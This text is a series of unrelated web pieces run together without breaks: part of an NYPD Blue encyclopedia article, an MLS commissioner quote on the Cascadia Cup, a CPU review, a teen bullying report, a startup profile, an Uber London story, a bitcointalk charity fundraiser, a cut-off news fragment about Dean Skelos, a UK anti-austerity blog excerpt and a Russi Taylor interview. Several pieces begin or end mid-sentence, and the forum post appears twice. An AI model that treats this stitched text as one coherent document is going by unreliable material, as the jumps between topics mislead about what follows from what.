Kelly Ronson, played by Jessalyn Gilsig, replaced McDowell and appeared in a handful of episodes in the closing stretch of Season 11. Ronson was never a main-credits character and did not return in Season 12.
Lt. Thomas Bale, played by Currie Graham, replaced Gibson at the start of season 12.
Det. Laura Murphy, played by Bonnie Somerville, replaced Ronson.
In the final few episodes, the storylines revolved around the impending retirement of Det. Medavoy and Sipowicz's promotion to Sergeant and later assumption of command of the 15th Detective Squad. The series finale introduced two newly minted young detectives named Quinn and Slovak, who echoed the first days of Irish-American Det. John Kelly and Polish-American Det. Andy Sipowicz.
Controversy [ edit ]
The series included more nudity than was common on broadcast television, which prompted Rev. Donald Wildmon and his American Family Association (AFA) to call it a "soft-core porn" series and take out full-page ads in major newspapers, asking viewers to boycott the show. Fifty-seven of ABC's 225 affiliates pre-empted the first episode, mostly in smaller markets comprising 10–15% of potential viewers, forcing the network to recruit independent stations or Fox affiliates to air the first season in a few cases. The show's ratings success led most affiliates (and advertisers) to end their opposition. By the end of the first season, the show was a top-20 hit, and protests by the AFA were countered by support from Viewers For Quality Television.[citation needed]
In 2005, L. Brent Bozell III told TIME that the nudity on the series influenced him to establish the Parents Television Council, for which he served as president from 1995 to 2006.[8] The PTC has directly criticized several episodes of the show for perceived vulgarity[9][10][11] and filed complaint with the Federal Communications Commission (FCC) over the use of obscene language in several episodes aired in early 2003, at the last half of the 10th season of the show,[12] associating the series with a perceived increase in profanity[13] and violence[14] on prime-time television from the late 1990s to early 2000s. The FCC ruled that the language in the episodes was indecent but decided not to fine ABC, because the episodes aired before a 2004 ruling that obscenities would lead to an automatic fine.[15] However, on January 25, 2008, the FCC fined ABC $1.4 million for the episode "Nude Awakening" (airdate February 25, 2003), due to scenes of "adult sexual nudity".[16] The fine was ultimately rejected by the United States Court of Appeals for the Second Circuit on January 6, 2011.[17]
According to NYPD Blue: A Final Tribute, a retrospective broadcast aired the same night as the last episode, the controversy was not limited to what was on the screen.[18] David Milch, the show's co-creator and head writer, was a controversial figure on the set during the seven years he was with the show. His working style and tendency to procrastinate or make last-minute, on-set changes contributed to a frustrating working environment for some of the cast and crew. Smits left the show when his contract ended because of it, as did Andrea Thompson.[20] Milch cites his own alcoholism and other addictions as factors contributing to the difficult environment.[21][22] In spite of the controversy, Milch is usually credited as a major creative force during the years he worked on the show; he won two Emmy Awards for his writing, shared another as executive producer, and shared in a further 10 nominations for his writing and production.[24]
Awards and nominations [ edit ]
NYPD Blue has won 84 out of 285 award nominations. The series has garnered 84 Primetime Emmy Award nominations, winning 20 of them. Of the 20 wins, the series won the award for Outstanding Drama Series; Dennis Franz won four times for Outstanding Lead Actor in a Drama Series; Kim Delaney won for Outstanding Supporting Actress in a Drama Series; Gordon Clapp won for Outstanding Supporting Actor in a Drama Series; Shirley Knight and Debra Monk each won for Outstanding Guest Actress in a Drama Series and Paris Barclay won twice for Outstanding Directing for a Drama Series.[25] It has received thirteen Golden Globe Award nominations, with David Caruso, Franz and Jimmy Smits each winning for Best Actor - Television Series Drama and the series winning Best Television Series – Drama.[26] The series received 23 Screen Actors Guild Award nominations, with Franz winning twice for Outstanding Performance by a Male Actor in a Drama Series and the cast winning for Outstanding Performance by an Ensemble in a Drama Series. NYPD Blue received 13 TCA Award nominations, winning once for Outstanding Achievement in Drama.[27] Additional accolades include two Peabody Awards,[28][29] the Producers Guild of America Award for Best Episodic Drama,[30] the Writers Guild of America Award for Television: Episodic Drama,[31] and the Satellite Award for Best Television Series – Drama.
Episodes [ edit ]
Season Episodes Originally aired Nielsen ratings[32] First aired Last aired Rank Rating 1 22 September 21, 1993 ( ) May 17, 1994 ( 1994-05-17 ) 18 13.9[a] 2 22 October 11, 1994 ( ) May 23, 1995 ( 1995-05-23 ) 7 16.5 3 22 October 24, 1995 ( ) May 21, 1996 ( 1996-05-21 ) 10 14.1 4 22 October 15, 1996 ( ) May 20, 1997 ( 1997-05-20 ) 13 12.5 5 22 September 30, 1997 ( ) May 19, 1998 ( 1998-05-19 ) 17 10.8[b] 6 22 October 20, 1998 ( ) May 25, 1999 ( 1999-05-25 ) 12 10.5 7 22 January 11, 2000 ( ) May 23, 2000 ( 2000-05-23 ) 15 10.7[c] 8 20 January 9, 2001 ( ) May 22, 2001 ( 2001-05-22 ) 22 9.7[d] 9 23 November 6, 2001 ( ) May 21, 2002 ( 2002-05-21 ) 23 8.3[e] 10 22 September 24, 2002 ( ) May 20, 2003 ( 2003-05-20 ) 29 7.8 11 22 September 23, 2003 ( ) May 11, 2004 ( 2004-05-11 ) N/A N/A 12 20 September 21, 2004 ( ) March 1, 2005 ( 2005-03-01 ) N/A N/A
Critical reception [ edit ]
NYPD Blue has generally received rave reviews from leading television critics.[33][34][35][36] Variety even went as far as to say that broadcast television had lost its edge after NYPD Blue was cancelled.[37] In 2013, TV Guide placed the series at number 44 on its list of the 60 best television shows of all time,[38] and complex.com ranked it as the eighth best television drama of all time.[39]
Home media [ edit ]
20th Century Fox Home Entertainment released the first four seasons of NYPD Blue on DVD in Regions 1, 2, and 4. All of the sets contain the original master recordings, the original ABC broadcasts, and custom-made credits. After the release of the fourth season in 2006, Fox announced that they would be reviewing the possibility of further releases, citing the lack of sales.[citation needed]
On October 3, 2013, it was announced that Shout! Factory had acquired the rights to the series in Region 1. They have subsequently released seasons five to 12 on DVD.[40][41][42][43][44][45][46][47]
In Region 2, Mediumrare acquired the rights to release the remaining eight seasons of the show on DVD in the United Kingdom.
DVD Name Ep # DVD Release dates Extra features Region 1 Region 2 (UK) Region 4 The Complete 1st Season 22 March 18, 2003[48] May 19, 2003[49] June 17, 2003[50] Audio commentary on one episode on each disc
"The Making Of Season 1" featurette
"Love On NYPD Blue" featurette
"Cast Blotter" featurette
Script-to-screen comparison
Cast/Crew Biographies The Complete 2nd Season 22 August 19, 2003[51] October 6, 2003[52] February 17, 2004[53] Audio Commentaries
"Season Two: A Season of Change" featurette
"Wedding Bell Blues" featurette
"The Music of Mike Post" featurette
Script-to-screen comparisons: "Sipowicz Meets Simone", "Sylvia Meets Simone", and "Simone and Sipowicz Bond" The Complete 3rd Season 22 February 21, 2006[54] April 17, 2006[55] May 29, 2006[56] Audio commentary on three episodes
Season-three overview
"The 15th Precinct" featurette
"Fathers and Sons" featurette
"Women of NYPD Blue" featurette The Complete 4th Season 22 June 20, 2006[57] August 14, 2006[58] August 21, 2006[59] Audio commentaries
"Through the Lens: The Look of Blue" featurette
"In With the New" featurette The Complete 5th Season 22 January 21, 2014[60] December 10, 2012[61] N/A The Complete 6th Season 22 June 24, 2014[62] December 10, 2012[63] N/A The Complete 7th Season 22 September 30, 2014[64] February 25, 2013[65] N/A The Complete 8th Season 20 January 13, 2015[66] February 25, 2013[67] N/A The Complete 9th Season 23 April 5, 2016 March 25, 2013[68] N/A The Complete 10th Season 22 August 23, 2016 April 1, 2013[69] N/A The Complete 11th Season 22 November 15, 2016 April 29, 2013[70] N/A The Complete 12th Season 20 January 17, 2017 April 29, 2013[71] N/A
Legacy [ edit ]
TV reviewer and author Alan Sepinwall informally began his career by blogging recaps and analyses of NYPD Blue episodes.[72]
Sequel [ edit ]
The sequel of the series was announced in October 2018.[73] The pilot is a co-production between 20th Century Fox TV, which was behind the original series, and ABC Studios, and producers were casting its four main roles at the time of the announcement. The storyline revolves around the murder of Andy Sipowicz, with his son Theo as a uniformed police officer who works to earn promotion to detective while investigating his father's killing.[74] On November 28, 2018, it was announced that Alona Tal was cast as Detective Nicole Lazarus, the show's female lead.[75]February 27, 2013 at 4:25 PM
During MLS commissioner Don Garber‘s media event to help kick off the 2013 MLS season, he was asked about the ongoing Cascadia Cup trademark issue.
In short, the league applied for the trademark rights to the “Cascadia Cup” without communicating with the fans.
Supporters’ groups in Seattle, Portland and Vancouver in turn put together a Cascadia Cup Council to fight to keep those rights with the fans that started the Pacific Northwest competition before MLS even came to the region.
Here was Garber’s response when asked about the issue Wednesday (it can be seen in the video in the previous post at the 1:02:00 mark):
* * *
“Let me start by saying what I said publicly, and I’ll say it to you and hopefully everybody that’s watching here: We didn’t go about this process right. We’re not perfect. We went and believed that the Cascadia Cup would be protected better if we were able to register that trademark, and we should’ve gone about it differently.
“We should’ve called up those folks that were the caretakers of it and had conversation and figured out how we could mutually achieve our goals, because I think the Cascadia (Cup) Council is interested in protecting the cup trademark, as well. Over the last four weeks … our league president and our attorneys have sat down with the Cascadia Cup Council — that’s represented by about eight lawyers and all members of the supporters’ groups in Seattle, Vancouver and Portland — and have tried to talk about ways that we could satisfy our mutual goals.
“We’ve had two of those calls over the last month. I think the guys are making progress; they haven’t resolved anything. But I’ll say to you, and I want to say this to all the fans: I’m very confident that we will reach an agreement that will make everybody happy, that will take some of the heat off this issue and satisfy some of our concerns, but at the same time honor and provide some reverence and some support for that great trophy and that terrific tournament.
“I’m confident the next time we see each other… I’ll be in Seattle this weekend. Try to pull my aside on Saturday night. I think we’re not going to get it resolved by Saturday, but we’ll get it resolved in a way that everybody would be happy.”The Pros: - It's fast, even at stock speeds. - It's unlocked and ready to please - 4.5GHz easy. - I've never been disappointed by Intel's CPUs. The Cons: - It runs hot, which often comes with the die shrink or "Tick" architectures from Intel. - It's costly, though it has better single core performance than AMD chips. equivalent AMD chips generally cost half as much. - When overclocking your playing the "silicon lottery", chips are like snowflakes, they all overclock differently and to different frequencies. More on this below. My chip specifically: I have mine clocked @ 4.0GHz with no overvolting, just for that extra speed boost. The Thermal Interface Material I used was Arctic Silver 5. Batch: 3306B262 - The 3xxxxxxx means it was assembled in Costa Rica (made/fabbed in US, Europe or Israel), which makes good performing Ivys as opposed to Malaysia (L/Q/9) assembly - The x306xxxx means it was assembled in the sixth week of 2013. The general consensus is 2012 batches are the best performers. - The xxxxBxxx is the stepping. Stepping B = more volts and less heat (best with air or entry water cooling). Stepping A = less volts volts with more heat (best with full water cooling). Stepping C = less volts with less heat (A rare sweet spot). - The xxxxx262 is the lot number. Not much is known on this number and how it effects performance. It is most likely the wafer number from which the chip was cut. Now my chip runs hotter then I would like, ~65c on an AIO water cooler @ 3.7GHz (not OCed) under load (LinPack). This could be due to poor airflow on my part or a bad TIM spread (also would be my fault). It could also be the TIM under the integrated heat spreader that Intel put on (which is a documented problem), since Core #2 (third core) is ~6c above its neighbors even at idle. But I will not endeavour to fix that one, since delidding is a nerve racking process. All in all though it works as it should, and will last me a good 3-4 years as my daily driver. I am happy with it. =)
Read moreBullying can take different shapes and forms such as social isolation, verbal assaults and physical harassment.Elana Burack is a high school senior in North Carolina. Three years ago, she had a group of girls she spent most of her time with. They were close friends, or so she thought.“We'd eat together at lunch and go to parties and share secrets," Burack said. "One day I decided to sit with a different group of girls at lunch. I didn’t think this would be a problem.”But it was.“I was sort of cornered by my friend group and told, ‘You’re not allowed to do that. You have to sit with us. You're not allowed to sit with other people,’" Burack said. "At that moment I sort of realized - are these girls really my friends? - and I sort of had to reflect on our whole friendship and thought of all the other times they had been possessive of me and controlling and had told me what to do.”Burack confronted the girls with her disappointment about their friendship.“You’re supposed to support me, help me and encourage me," she said. "I don’t feel like you’re doing that, that I wasn’t sure that we could be friends anymore.”Burack is one of more than 80 teenagers who shared their experiences in a new book, Under Attack: True Stories Written by Teen Victims, Bullies and Bystanders.“It’s extremely painful to hear how cruel people can be towards each other,” said Stephanie Meyer, co-creator of a monthly magazine written by and for teens, who helped edit the stories. “Very often a young person who is bullied becomes very depressed, or because they're depressed, bullying affects them even more. There are too many instances of teens who have committed suicide as a result.”But bullying, she says, is also a cry for attention.“Very often the bullies themselves have been victims," said Meyer. "They are trying to regain the power that they have lost in being bullied at home or by other older children when they were young. And so they regain a sense of power by being the actual bully.”With the growth of social media, Meyer says, cyber-bullying has become a serious problem.“One young woman who was at a party, the end of the summer...At one point, part of her bathing suit apparently was kind of revealing and a picture was taken," Meyer said. "It was posted on Facebook and she wasn’t even aware of it for weeks.”At first, 17-year-old Autumn Bornholdt was too embarrassed to tell her family.“I was mortified. I couldn’t believe that these girls who I thought were my friends had not told me that this picture was online,” she said. "I was actually at the doctor’s office with my mom one day. One of my true friends texted me and said, ‘Oh my goodness, there is another post on your Facebook wall.’ Then I read it and just started to cry. My mom asked me why I was crying. I told her. She immediately started calling all of these other girls’ parents asking them to remove these nasty posts.”Being bullied when she was in 7th grade is a painful experience that 18-year-old Sitav Nabi, now a college freshman, will never forget. She says there was one particular girl who had always picked on her.“As I was walking home, she was across the street. She was throwing rocks at me," Nabi said. "I had my headphones on and didn’t realize until she hit me several times. I went to my house and when my mother realized that, she went to the police and reported her. But when I went to school the next day, instead of feeling sorry for me and understand it was wrong, everyone else attacked me because they said I had purposely gotten her into trouble.”Passive and reluctant bystanders, she says, are just as guilty as bullies.“If you are watching someone being bullied, being attacked, and you know it’s wrong, you have to stand up and make them stop because you’re traumatizing another human being,” Nabi said.Nabi and the other teens who shared their experiences about bullying hope by raising awareness about the problem they’re helping others realize they are not alone, so they can stand up for themselves and their friends, and put an end to bullying.Meet Stampery, a startup that wants to replace notaries with bitcoin’s blockchain. The service can issue legally binding proofs for all your sensitive documents, and the company is presenting its next version on stage today at Disrupt SF.
“We use the bitcoin blockchain to prove the existence, integrity and ownership of any document,” co-founder and CEO Daniele Levi told me in a phone interview before Disrupt. “At heart, the blockchain is distributed database. We use this technology to be able to generate this proof.”
You can certify any document using Stampery. All you need to do is send a document in email to your personal Stampery email address, use the company’s website, integrate Stampery in your product thanks to the API or link Stampery to your Dropbox.
“You can generate an immutable and accurate proof of existence and integrity for any document. Anybody in the world could verify automatically and at zero cost that this document was made on June 1st and wasn’t modified,” Levi said.
The reasons why you would use Stampery are the same reasons why you would notarized a document. It’s a great way to protect intellectual property, to certify a will, an oath, a contract, a communication in a family dispute and more.
What makes Stampery better than notarized documents is that you don’t have to physically visit notaries with your printed documents, which can be time consuming. If you send less than 100 documents per month and use less than 1GB of storage, Stampery is free. For $9.99 per month, you can store up to 10,000 files and use up to 100GB of storage.
“We are not a trusted certifier. This means that every proof that we generate can be verified even if Stampery disappears,” Levi said. “We don’t have a centralized database that you can hack.” As the legal proofs are stored in the blockchain, anybody could retrieve them. This is how Stampery differs from other electronic notary services.
When I asked Stampery’s legal value, Levi’s answer was straightforward. “It’s so new that for now nobody uses the blockchain in court. As soon as they use it, the judge will have to accept it. It’s not an opinion, it’s mathematic.”
Using Stampery is so painless that professionals who heavily rely on notarized documents could see a clear advantage compared to notaries. It seems to be a tiny market, but the company could win over a large portion of this market.
Questions & Answers
Judges: Hunter Walk, Michelle Zatlyn (CloudFlare), Matt Turck (FirstMark Capital) and Alexandra Chong (Lulu)
Question: Who are going to be your customers? You said you had 700 people using it today, who are they?
Answer: We have three main users — lawyers certifying documents, creators certifying pictures and videos, and startups protecting their intellectual property. All of the integrations we are rolling out are helping us to speak directly to the hundreds of millions of Dropbox users, and eventually Salesforce and so on.
Q: What’s going to be the thing that makes governments accept this?
A: This is faster and so much secure. Trusts create a security hole and a cost. We have a trustless system that can be verified independently anywhere in the world.
Q: How does it work for intellectual property?
A: You can notarize prior art. You can just find the prior art. It’s like a defensive patent.
[gallery ids="1214528,1214529,1214530,1214531,1214535,1214536,1214538,1214539"]Uber is preparing an effort to reverse London regulators’ decision to take away its operating license. While some of its tactics will sound familiar, the company, now under pressure, is also showing its softer side.
According to the Wall Street Journal, Uber is hoping to arrange a meeting as early as Monday with Transport for London, the body overseeing the city’s public transit and taxis. It seems Uber hasn’t had much luck getting meetings with London leaders recently.
“We’d like to know what we can do,” said Uber’s London general manager, Tom Elvidge, in an email to the Journal. “But that requires a dialogue we sadly haven’t been able to have recently.” Uber, according to the Journal, doesn’t even know why its license was revoked, or what it can do to earn it back.
Even new CEO Dara Khosrowshahi has taken to Twitter to beg for a dialogue with city leaders.
Dear London: we r far from perfect but we have 40k licensed drivers and 3.5mm Londoners depending on us. Pls work w/us to make things right — dara khosrowshahi (@dkhos) September 22, 2017
To Uber’s many critics, that likely has a delicious ring of schadenfreude. Under CEO and founder Travis Kalanick, Uber was notorious for ignoring or working to circumvent regulators at every level.
Get Data Sheet, Fortune’s technology newsletter.
But Khosrowshahi got the CEO nod in part because he isn’t Kalanick, and repairing the company’s reputation is his broadest mandate. Now his softer approach will be put to the test – though the company is also diving back into the Kalanick-era playbook, including by marshalling public pressure on regulators.
That approach, though, has already failed spectacularly once, when residents of Austin, Texas rejected a proposition to reverse regulations the company found onerous. Uber left the city, and returned to Austin after more than a year only because state legislators overturned Austin’s rules.
The stakes for Uber in London are immense. According to the Journal, London amounts for about 5% of Uber’s userbase. That’s worth holding on to – but concessions that increase Uber’s costs could also trigger similar demands from other locales. That could threaten the company’s chances of at least getting closer to profitability, as it targets an IPO within 18 to 36 months.Phinnaeus Gage
Offline
Activity: 1540
Merit: 1016
Bitcoin: An Idea Worth Spending
LegendaryActivity: 1540Merit: 1016Bitcoin: An Idea Worth Spending Pilgrim Kālua (theme): First Thanksgiving at Satoshi Forest November 09, 2013, 09:05:18 PM
Last edit: November 12, 2013, 06:00:09 PM by Phinnaeus Gage #1
EDIT: I changed the title of this thread since the initial amount requested has been reached, albeit I'm still seeking sponsors for the signage at whatever they desire to donate. I'm still wresting with what is better: in or at Satoshi Forest.
Thanks to some brainfart, Jason has committed to the idea of having the first ever Thanksgiving in Satoshi Forest so that the homeless nearby will be able to enjoy probably the best Thanksgiving they've even eaten, for we're goin' all out and doing it a al
The tad support we're seeking to raise is ~$500 USD via Bitcoin via this thread. Once again, use the Sean's Outpost Bitcoin wallet address 1M72Sfpbz1BPpXFHz9m3CdqATR44Jvaydd for all donations, but please post here if you're supporting this specific cause so that the dollars raised to date can be tracked and tallied accordingly.
Here's the QR-Code for the above address:
This request/endeavor/event is over and beyond, and not related to
I haven't discuss this yet with Jason King, but this would be a perfect time to pass out Christmas presents. I'm thinking blankets. (see what I did there?)
I'm personally leaving out the Sunday before Thanksgiving to arrive there by Tuesday, thus giving me two full days prior to prepare for the event, one of which is constructing the
With the exception of a few food items, i.e. cranberry jelly, my favorite, all the food will be cooked/processed there in the woods a la a hybrid of Pilgrim and Hawaiian cooking preparations, with some contemporary outdoor cooking methods added to the mix for good measure, not to mention practicality.
For full disclosure, and to not take away the dignity of those in need, the first ever Thanksgiving in Satoshi Forest may be considered a PR move for Sean's Outpost/Satoshi Forest/Bitcoin/Sponsors, but my hope is that such doesn't take away from the overall objective--to have the homeless nearby enjoy a VERY fine Thanksgiving meal, of which afterward they'll be able to spend the night camping out in Satoshi Forest. Hope it doesn't rain, but if it does, so what! I'll get just as wet.
That said, coverage of the event will be made available via a press release, and hopefully Radio and TV. I'm leaving this aspect in Jason's hands to give him something to do.
I see no problem with raising the $500, for it's such a small amount and we have plenty of time. We won't need any big corporate sponsorship(s) for this undertaking, but if only 10 Bitcoin entities, regardless of their size and reach, donated $50 each, the goal will be accomplished. For such a donation, a primitive sign, prominently displayed on the grounds, will depict the name and a QR-Code linking to your site. Bear in mind that such is not intended to carter to those in attendance for the feast, for most won't own a smartphone, but directed toward those who will view the images taken sometime in the future, with
Any monies over the $500 USD and not used generated via this thread, will remain part of Sean's Outpost's general fund, but chances are what'll be needed for this endeavor may surpass the requested amount, thus hoping that the $500 USD consist of the majority of total amount that'll be outlaid.
Any food left over immediately after the event will be delivered to others in need that are unable to attend the festivities due to circumstances beyond their control. Nothing will go to waste. Some food may stay on site to be served as breakfast/lunch the next day, predicated on what's left over and storage abilities. If it's a cool night, that'll be our refrigerator.
Post #2 will be used to show all the donations and $50 USD sponsors to date. If you express to be a sponsor, please provide a QR-Code image linking to your intended site so that it can be copied and affixed to the sign accordingly.
All fellow bitcoiners are welcome to attend at no charge nor obligations. Bring your smartphones and conduct a Satoshi Square right there in Satoshi Forest if you like.
Thank you in advance and, as always, please ask any questions or express any concerns via this thread or PM.
Bruno Kucinskas a.k.a. TMI BTC ITW Thanks to some brainfart, Jason has committed to the idea of having the first ever Thanksgiving in Satoshi Forest so that the homeless nearby will be able to enjoy probably the best Thanksgiving they've even eaten, for we're goin' all out and doing it a al kālua with myself at the helm.The tad support we're seeking to raise is ~$500 USD via Bitcoin via this thread. Once again, use the Sean's Outpost Bitcoin wallet addressfor all donations, but please post here if you're supporting this specific cause so that the dollars raised to date can be tracked and tallied accordingly.Here's the QR-Code for the above address:This request/endeavor/event is over and beyond, and not related to The Mega Thread that Feeds People in Need, of which is serving a separate, yet similar purpose, garnering $1.25 USD donations on a continuous basis.I haven't discuss this yet with Jason King, but this would be a perfect time to pass out Christmas presents. I'm thinking blankets. (see what I did there?)I'm personally leaving out the Sunday before Thanksgiving to arrive there by Tuesday, thus giving me two full days prior to prepare for the event, one of which is constructing the imu. I'll be camping out, sans bringing a tent, the entire time I'm there, heading back home to Illinois on Saturday.With the exception of a few food items, i.e. cranberry jelly, my favorite, all the food will be cooked/processed there in the woods a la a hybrid of Pilgrim and Hawaiian cooking preparations, with some contemporary outdoor cooking methods added to the mix for good measure, not to mention practicality.For full disclosure, and to not take away the dignity of those in need, the first ever Thanksgiving in Satoshi Forest may be considered a PR move for Sean's Outpost/Satoshi Forest/Bitcoin/Sponsors, but my hope is that such doesn't take away from the overall objective--to have the homeless nearby enjoy a VERY fine Thanksgiving meal, of which afterward they'll be able to spend the night camping out in Satoshi Forest. Hope it doesn't rain, but if it does, so what! I'll get just as wet.That said, coverage of the event will be made available via a press release, and hopefully Radio and TV. I'm leaving this aspect in Jason's hands to give him something to do.I see no problem with raising the $500, for it's such a small amount and we have plenty of time. We won't need any big corporate sponsorship(s) for this undertaking, but if only 10 Bitcoin entities, regardless of their size and reach, donated $50 each, the goal will be accomplished. For such a donation, a primitive sign, prominently displayed on the grounds, will depict the name and a QR-Code linking to your site. Bear in mind that such is not intended to carter to those in attendance for the feast, for most won't own a smartphone, but directed toward those who will view the images taken sometime in the future, with http://seansoutpost.com being one such place for sure and, hopefully, if the PR is done correctly, on several news sites/outlets.Any monies over the $500 USD and not used generated via this thread, will remain part of Sean's Outpost's general fund, but chances are what'll be needed for this endeavor may surpass the requested amount, thus hoping that the $500 USD consist of the majority of total amount that'll be outlaid.Any food left over immediately after the event will be delivered to others in need that are unable to attend the festivities due to circumstances beyond their control. Nothing will go to waste. Some food may stay on site to be served as breakfast/lunch the next day, predicated on what's left over and storage abilities. If it's a cool night, that'll be our refrigerator.Post #2 will be used to show all the donations and $50 USD sponsors to date. If you express to be a sponsor, please provide a QR-Code image linking to your intended site so that it can be copied and affixed to the sign accordingly.All fellow bitcoiners are welcome to attend at no charge nor obligations. Bring your smartphones and conduct a Satoshi Square right there in Satoshi Forest if you like.Thank you in advance and, as always, please ask any questions or express any concerns via this thread or PM.Bruno Kucinskas a.k.a. TMIITW The price of Bitcoin is going down because the price is going downIndicted Senate Majority Leader Dean Skelos has finally come to his senses and is expected to step down from his post after a powwow Monday with fellow Republicans, sources told The Post.
The Long Island Republican, indicted |
the form of tax. Every part of his logic is the wrong way round. And before you jump up and down and say I am wrong, remember that for 320 years the Bank of England and almost all economists got banking the wrong way round but I was one of those who did not. They have now admitted their error. I was right on that issue and I am right on this spend and tax issue too.
And third? Here I go back to the issue of sectoral balances, which I have addressed many times before, perhaps most clearly here. Let me remind you of the logic. There are four segments to the economy: consumers, business, government and the rest of the world. The similarity to the GDP formula should be obvious. And what is true is that in a single currency the loans between these sectors must balance. That's just basic accounting: it has to happen. So if business is saving (and against all historical precedent, it is because it is refusing to invest), and if consumers are net about neutral, as is the case right now, whilst the overseas sector is net massively saving in the UK (either through net financial flows or because we are not simply settling the sums owing to those selling to us) then overall these three sectors are either net saving or at least not borrowing in the UK. This means that by default the government has to borrow, and as it has the role of borrower of last resort in its simultaneous capacity as currency creator it has absolutely no choice, at least in the short term, about this, at all. If everyone else refuses to borrow the government has no choice but do so. The books have to balance.
The mention of the short term was deliberate. The situation can be changed, but only if the government sends out the right signals to change the behaviour of consumers, investors or the overseas sector. What might do that? Well, if the government signals that it will spend more to boost the economy then it will encourage business to borrow and invest. And if it invests in business sectors (directly, or indirectly) that might export the it might change trade balances. And if it signals that it will provide consumers with greater security, whether by creating more jobs, or increasing real wages, or by improving the social security safety net so that people need to save less, then they might borrow more, spend more and so boost the real economy, whilst at the same time, automatically, and by default, reducing the government's deficit. I stress, these are the only actions the government can take that make a difference. The problem is that, without exception, George Osborne is planning to do the exact opposite of what is required. By announcing cuts he gives business no reason to invest and does not create export opprtunities. And by reducing spending, most especially on social security, he encourages individual saving which then denies him any chance of reducing the government deficit.
In summary, it is not that he has to reduce G in the GDP formula as he says: it is, instead, precisely because he plans to reduce G (and has announced that fact) that C, I and even (X-M) will get worse. His austerity does then compound the economic crisis and significantly increase the chance of either slow or no growth and a budget deficit.
It's very hard to make up a failure of economic policy on this epic scale. George Osborne is managing it.You may not recognize her walking down the street, but Russi Taylor plays one of the most famous characters in the world.
Taylor has been the voice of Minnie Mouse for more than 30 years, and that’s just a fraction of voice work she’s done in her long career. She’s played Huey, Dewey, and Louie in various Disney projects, Pebbles Flintstone in “The Flintstone Comedy Show,” Pac-Baby in the “Pac-Man” TV series, “Penny Tompkins” in “The Critic,” Baby Gonzo in “Muppet Babies,” and various characters over 17 years on “The Simpsons,” among too many others to count.
She’s currently working on Disney Television Animation’s new series “Mickey and the Roadster Racers,” which brings together all of Disney’s classic characters: Mickey, Minnie, Goofy, Donald Duck, Daisy Duck, and Pluto. In “Racers,” Minnie and Daisy exemplify female empowerment as they run a business called Happy Helpers. It airs Fridays on the Disney Channel.
Taylor, her own soft voice like a lilting tinkling of bells, dislikes being in the spotlight. “I never wanted to be famous,” she says. “The characters I do are famous, and that’s fine for me. I like being able to go to the grocery store and know that nobody knows what I do or who I am.”
Related 'The Simpsons': Demogorgon Ted Sarandos Orders Homer Simpson to Binge TV (Exclusive Photo) 5 Things We Learned at TCA: Day 9
Taylor first got the role of Minnie in 1986. The character, originally voiced by Walt Disney himself, hadn’t been voiced by anyone since Janet Waldo played the role in a 1974 Disneyland album, “An Adaptation of Dickens’ Christmas Carol, Performed by the Walt Disney Players.” She researched the various voices that had been used for Minnie through 1952.
“I tried to find a blend,” she says. “They asked me if I could improvise, so I did the balcony scene from ‘Romeo & Juliet’ and they liked it. Next thing I knew, I was doing ‘Totally Minnie.'”
And that led to more than just a long-running gig as Minnie Mouse. It turned into a real-life love story when she met Wayne Allwine, the longtime voice of Mickey Mouse. Some things are just meant to be.
It was around the time the Disney Studio decided to lock in specific people to be the voices of their classic characters: Allwine as Mickey, Taylor as Minnie, Bill Farmer as Goofy and Pluto, Tony Anselmo as Donald Duck, and Tress MacNeille as Daisy Duck. Allwine had been doing the voice of Mickey Mouse since 1977’s “Mickey Mouse Club” up until his death in 2009.
“We met in the hallway when I was going in to do ‘Totally Minnie.’ He was married and I was married at the time. He said, ‘I’m so glad I’m going to have a Minnie now.’ I said, ‘Yes, it’s pretty exciting,’ and off he went. I didn’t know that he was unhappy and he didn’t know that I was unhappy.” A couple of years later, when they were free from other relationships, they were working on a project together, “and, hello!”
“We just started hanging out as pals, and the next thing you know, we were an item,” Taylor recalls. “We just had fun. He was the best. He was a wonderful man, he was a good man, and he was a kind man. He was very, very strong and very, very male. And that voice came out of him. It’s like, ‘Huh?'”
Taylor and Allwine, who married in 1991, were always together, often sitting in the booth while one of them was recording. “Someone once said to us, ‘What’s wrong with you guys? Are you attached at the hip?’ I said, ‘No, we’re attached at the heart.'”
It was difficult for Taylor to go back to work on “Mickey Mouse Clubhouse” after Allwine died. “I took off a few weeks because I just couldn’t breathe, and when I came back (voice director) Kelly (Ward) and the entire crew were waiting for me, and every single one of them gave me hugs and kisses and welcomed me home again. I don’t know how I could have done that without them.” Doing the fifth season of the show was hard on Taylor. Bret Iwan had taken over as Mickey Mouse. “As much as I love Bret, he’s such a dear guy, I just couldn’t work with him as much. I wanted to hear Wayne every time I walked into the booth.”
Taylor recalls the generosity of the crew who pieced together Allwine’s voice work from the library so that his voice would complete that season. “It was one of the kindest things I’ve ever known in my life.”
With her voice, Taylor was destined to be a voice actress. “My brother told me that I used to clown around with voices as a kid. I had done some stuff on camera, then I did some film dubbing when I lived in Europe. When I came back, I’d considered doing on-camera work again, but I didn’t really like it. Then I had an epiphany. I wanted to do what Mel Blanc did, and that was cartoons.”
She had three people she always wanted to work with: Blanc, veteran voice actress and Annie Awards founder June Foray and Jim Henson. “And I got to work with them all! Isn’t that amazing?”
In the 1970s, Taylor got her start doing the voices of Baby G and Gigi, the family of Toys R Us mascot Geoffrey Giraffe, alongside voice legend Thurl Ravenscroft, best known as Tony the Tiger in classic commercials for Kellogg’s Frosted Flakes and singing “You’re a Mean One, Mr. Grinch,” in “How the Grinch Stole Christmas” TV special. She followed that up with a role on “The Mary Tyler Moore Show” as Ted and Georgette’s baby.
Taylor explains that the show’s producers wanted demo tapes when they were auditioning for the voice part, but she was new in town and didn’t have one. Her agent convinced them to let her come in to audition.
“I go in and one of the producers said, ‘OK, let me hear it.’ And I asked, ‘Why is the baby crying?’ He said, ‘What?’ and I explained that babies have different cries for different things. So he said, ‘Well, it’s scared.’ I said, ‘OK, and how old is the baby?’ ‘What do you mean, how old is the baby? It’s a baby!’ I said, ‘A newborn sounds different from older babies.’ I finally got all my information, and he looked at me like I was nuts.
“I started doing this cry, and from the other room, I heard these women: ‘Oh, the baby’s here! Let’s go look at the baby!” They come running into the room and said, ‘Where’s the baby?’ I said, ‘I’m over here.’ The producer leaned into his desk and said, ‘Can you be here tomorro at 9?'”
